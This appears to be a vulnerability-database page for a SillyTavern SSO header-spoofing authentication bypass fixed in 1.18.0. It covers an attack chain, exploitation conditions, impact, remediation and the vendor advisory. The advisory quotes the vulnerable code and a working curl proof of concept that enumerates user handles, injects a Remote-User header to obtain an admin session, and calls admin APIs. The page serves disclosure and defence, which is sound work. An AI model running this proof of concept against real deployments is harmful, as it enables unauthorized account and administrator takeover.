Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconReach SillyTavern app port directly
-
DeliveryEnumerate handles via /api/users/list
-
ExploitSend /login with spoofed Remote-User header
-
InstallReceive authenticated session cookie
-
C2Fetch CSRF token
-
ExecuteCall admin APIs
-
ImpactFull account/admin takeover
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A07:2025 - Authentication Failures
ASVS 5.0
V6 - Authentication Anti-spoofing controls
MITRE ATT&CK
1 technique across 1 tactic: Defense Evasion The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires that SillyTavern be configured with sso.autheliaAuth: true OR sso.authentikAuth: true in config.yaml - both default to false, so a default install is NOT vulnerable. The attacker must also have direct network reachability to the SillyTavern application port (bypassing or without an interposing trusted proxy that strips client-supplied SSO headers); if the app is only reachable through a properly configured reverse proxy that overwrites Remote-User/X-Authentik-Username, injection is blocked. A valid target user handle is needed, which is trivially obtained from the unauthenticated /api/users/list endpoint unless DISCREET_LOGIN is enabled. No password, prior authentication, or user interaction is required once these conditions hold. Limiting factors: non-default SSO configuration, network path to the raw app port, and (for stealth enumeration) DISCREET_LOGIN being off. |
| Impact | The published CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, score 9.8) reflects the worst case where SSO is enabled: trivial, network, unauthenticated, full account/admin takeover. However, the real-world risk is gated by a critical non-default precondition - both sso.autheliaAuth and sso.authentikAuth default to false, so only operators who deliberately turned on header SSO are affected. This tension between a 9.8 base score and a narrow exploitable population is important: for the affected subset the risk is severe (instant admin takeover), but the aggregate exposure is much smaller than the score alone implies. EPSS is low (0.07%, 21st percentile) and there is no CISA KEV listing, consistent with a niche self-hosted product and a config-dependent bug rather than mass exploitation. No SSVC decision data was provided. Net: high priority for anyone running SillyTavern with Authelia/Authentik SSO exposed to untrusted networks; low priority otherwise. Note the config requirement is not captured in the AV/AC/PR metrics - verify your deployment's SSO settings before triaging. |
| Exploit ScenarioDerived | An organization runs SillyTavern behind Authelia with sso.autheliaAuth enabled but leaves the app port reachable on the LAN (or the internet). An attacker POSTs to /api/users/list to learn the admin handle, then sends GET /login with the header |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 23, 2026
Authentication bypass in SillyTavern (< 1.18.0) lets any network client that can reach the server port directly inject the Remote-User (Authelia) or X-Authentik-Username (Authentik) SSO headers and log in as any user - including administrators - without a password, because the app never verifies the headers came from the trusted reverse proxy. The flaw is only exploitable when sso.autheliaAuth or sso.authentikAuth is enabled in config.yaml (both default to false), and is aided by an unauthenticated /api/users/list endpoint that leaks admin handles. There is no public exploit identified at time of analysis, though the advisory includes a working PoC, and EPSS is low at 0.07%.
RemediationAI
Vendor-released patch: upgrade to SillyTavern 1.18.0, which adds an IP allowlist for SSO trusted proxies and, by default, only honors SSO headers from loopback addresses (configurable per the docs at https://docs.sillytavern.app/administration/sso/). If you cannot upgrade immediately, the most effective compensating control is to disable header SSO by setting sso.autheliaAuth: false and sso.authentikAuth: false in config.yaml (trade-off: users must authenticate via SillyTavern's native login instead of the SSO proxy). Alternatively, ensure the SillyTavern listening port is not directly reachable by clients - bind it to loopback and force all traffic through the Authelia/Authentik reverse proxy, and use firewall/network rules to block direct access to the app port (trade-off: requires correct proxy/network hardening to be airtight). To reduce pre-attack reconnaissance, enable DISCREET_LOGIN so /api/users/list returns 204 and admin handles are not disclosed. Advisory and release: https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-gxx6-h3g6-vwjh and https://github.com/SillyTavern/SillyTavern/releases/tag/1.18.0 .
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
SillyTavern is a self-hosted Node.js/Express front-end for LLM chat. Its header-based SSO integration (src/users.js, headerUserLogin) is designed for deployments behind Authelia or Authentik, where a trusted reverse proxy authenticates the user and forwards their identity in an HTTP header. The tryAutoLogin path runs on every request to /login and calls request.get('Remote-User'), which is Express's wrapper for req.headers['remote-user']. Express cannot distinguish a header set by an upstream proxy from one set by the end client, and the code performs no source-IP allowlist check, so the trust assumption is unenforced. This maps to CWE-290 (Authentication Bypass by Spoofing) - the server treats a client-controllable value as a trusted identity assertion. A secondary weakness is that /api/users/list (src/endpoints/users-public.js) is mounted before requireLoginMiddleware, so unauthenticated callers can enumerate valid handles (unless DISCREET_LOGIN is set). Affected package: pkg:npm/sillytavern.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
When SSO is enabled the attack is remote, unauthenticated, no user interaction, and grants full admin takeover; the non-default config precondition is an exposure gate not modeled in base AC/PR.
Primary rating from Vendor (https://github.com/SillyTavern/SillyTavern).
CVSS VectorVendor: https://github.com/SillyTavern/SillyTavern
DescriptionCVE.org
Resolution
SillyTavern 1.18.0 now includes a configuration option to limit which IP addresses can authorize using SSO headers, limiting to just loopback addresses by default. A setting can be customized according to user's needs.
Documentation: https://docs.sillytavern.app/administration/sso/
Summary
SillyTavern accepts Remote-User (Authelia) and X-Authentik-Username (Authentik) HTTP headers to automatically log in users when SSO is configured. There is no validation that these headers originate from a trusted reverse proxy. Any network client that can reach the SillyTavern port directly can inject these headers and authenticate as any user, including administrators, without a password. This vulnerability is exploitable only when sso.autheliaAuth: true or sso.authentikAuth: true is set in config.yaml (both default to false).
Detials
SillyTavern implements header-based SSO for Authelia and Authentik. When enabled, the tryAutoLogin function (called on every request to /login) invokes headerUserLogin, which reads an HTTP header set by the upstream proxy and automatically creates an authenticated session for the matching user:
src/users.js:779-801:
async function headerUserLogin(request, header = 'Remote-User') {
if (!request.session) { return false; }
const remoteUser = request.get(header); // reads any header from any client
if (!remoteUser) { return false; }
const userHandles = await getAllUserHandles();
for (const userHandle of userHandles) {
if (remoteUser.toLowerCase() === userHandle) {
const user = await storage.getItem(toKey(userHandle));
if (user && user.enabled) {
request.session.handle = userHandle;
return true;
}
}
}
return false;
}request.get(header) is Express's wrapper for req.headers[name.toLowerCase()]. Express does not distinguish between headers set by a trusted upstream proxy and headers injected by the end client. Without an IP allowlist check, any client can set Remote-User: and receive an authenticated session cookie.
User Enumeration Pre-Condition
The /api/users/list endpoint is registered before requireLoginMiddleware in src/server-main.js:236, making it publicly accessible without authentication:
src/server-main.js:236,239:
app.use('/api/users', usersPublicRouter); // line 236 (public)
app.use(requireLoginMiddleware); // line 239 (auth gate)src/endpoints/users-public.js:26-57:
router.post('/list', async (_request, response) => {
if (DISCREET_LOGIN) { return response.sendStatus(204); }
const users = await storage.values(x => x.key.startsWith(KEY_PREFIX));
return response.json(viewModels); // returns handle, name, avatar, admin, password flags
});This allows an attacker to enumerate all user handles (including admin handles) without any prior credentials.
PoC
TARGET="http://localhost:8000"
# enumerate users
curl -s -X POST "$TARGET/api/users/list" -H "Content-Type: application/json" -d '{}'
# inject Remote-User header, receive authsession
curl -s -L \
-H "Remote-User: admin-user" \
-c /tmp/st-session.txt \
"$TARGET/login"
# obtain CSRF token, call admin API
TOKEN=$(curl -s -b /tmp/st-session.txt "$TARGET/csrf-token" | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
curl -s -X POST "$TARGET/api/users/admin/get" \
-H "Content-Type: application/json" \
-H "X-CSRF-Token: $TOKEN" \
-b /tmp/st-session.txt \
-d '{}'---
Impact
An account takeover, allowing an attacker to do anything a legitimately authorized user can do.
Executive ViewAI
SillyTavern versions prior to 1.18.0 contain a critical authentication bypass in Authelia and Authentik single sign-on integrations that allows direct administrative account compromise without password authentication. Organizations using these SSO configurations face immediate risk of unauthorized access to administrative functions and complete account takeover. Patch available per vendor advisory; organizations without SSO enabled are unaffected but should still upgrade.
Apply vendor patch by upgrading to SillyTavern 1.18.0 or later. Interim mitigations if immediate patching is not feasible: disable Authelia and Authentik SSO authentication and implement network segmentation to restrict direct access to the application server port.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
EUVD-2026-33401
GHSA-gxx6-h3g6-vwjh
NVD
CVE.org
EPSS
Exploit-DB